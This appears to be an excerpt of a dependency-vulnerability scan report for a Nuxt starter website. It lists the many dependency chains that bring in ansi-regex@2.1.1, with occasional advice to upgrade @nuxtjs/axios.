  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › wrap-ansi@2.1.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
